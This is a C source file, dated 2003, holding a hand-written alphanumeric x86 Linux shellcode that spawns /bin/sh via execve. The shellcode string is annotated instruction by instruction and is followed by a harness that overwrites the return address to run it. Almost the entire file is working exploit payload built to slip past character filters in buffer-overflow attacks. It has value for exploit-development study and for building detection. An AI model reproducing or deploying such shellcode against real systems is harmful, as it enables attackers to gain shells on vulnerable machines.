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buffer-i386-raptus.c
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buffer-i386-raptus.c
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/*
* execve ("/bin/sh"..) (linux little endian)
*
* Copyright (c) 2003 Angelo Dell'Aera <[email protected]>
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
/*
* This is an alphanumeric shellcode completely written by hand. It was
* developed using Fenris by Michael Zalewski which helped me too much
* during development. As you can see from comments below, this shellcode
* works fine if __GNUC__ < 3. This is due to optimizations introduced by
* gcc with __GNUC__ 3. At this moment it's not available a version for
* such compilers but probably it will happen in the next future.
*
* Thanks :
* ALoR - he suggested to me the idea of 'pushing the unobtainable' 8)
*
*/
#include <ansidecl.h>
main()
{
#if GCC_VERSION < 3000
long *ret;
char shellcode[] = "h0000" // 68 30 30 30 30 push $0x30303030
"X" // 58 pop %eax
"50000" // 35 30 30 30 30 xor $0x30303030,%eax
"H" // 48 dec %eax
"5DODO" // 35 4f 44 4f 44 xor $0x444f444f,%eax
"5v0v0" // 35 30 76 30 76 xor $0x76307630,%eax
"L" // 4c dec %esp
"L" // 4c dec %esp
"L" // 4c dec %esp
"L" // 4c dec %esp
"L" // 4c dec %esp
"L" // 4c dec %esp
"L" // 4c dec %esp
"L" // 4c dec %esp
"L" // 4c dec %esp
"L" // 4c dec %esp
"L" // 4c dec %esp
"P" // 50 push %eax
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"D" // 44 inc %esp
"hZZZZ" // 68 5a 5a 5a 5a push $0x5a5a5a5a
"X" // 58 pop %eax
"5ZZZZ" // 35 5a 5a 5a 5a xor $0x5a5a5a5a,%eax
"P" // 50 push %eax
"hn0sh" // 68 6e 30 73 68 push $0x6873306e
"D" // 44 inc %esp
"Y" // 59 pop %ecx
"I" // 49 dec %ecx
"Q" // 51 push %ecx
"L" // 4c dec %esp
"h00bi" // 68 30 30 62 69 push $0x69623030
"Y" // 59 pop %ecx
"I" // 49 dec %ecx
"Q" // 51 push %ecx
"D" // 44 inc %esp
"Y" // 59 pop %ecx
"I" // 49 dec %ecx
"Q" // 51 push %ecx
"L" // 4c dec %esp
"T" // 54 push %esp
"Z" // 5a pop %edx
"P" // 50 push %eax
"R" // 52 push %edx
"T" // 54 push %esp
"Y" // 59 pop %ecx
"hXPPP" // 68 58 50 50 50 push $0x50505058
"X" // 58 pop %eax
"5SPPP" // 35 53 50 50 50 xor $0x50505053,%eax
"P" // 50 push %eax
"h0000" // 68 30 30 30 30 push $0x30303030
"X" // 58 pop %eax
"50000" // 35 30 30 30 30 xor $0x30303030,%eax
"Q" // 51 push %ecx
"P" // 50 push %eax
"R" // 52 push %edx
"U" // 55 push %ebp
"T" // 54 push %esp
"V" // 56 push %esi
"W" // 57 push %edi
"a"; // 61 popa
ret = (long *)&ret + 2;
(*ret) = (long)shellcode;
#else
# error "This shellcode doesn't work if compiled with gcc-3.x. "
# error "Compile it with gcc with __GNUC__ < 3! Aborting compiling...."
#endif
}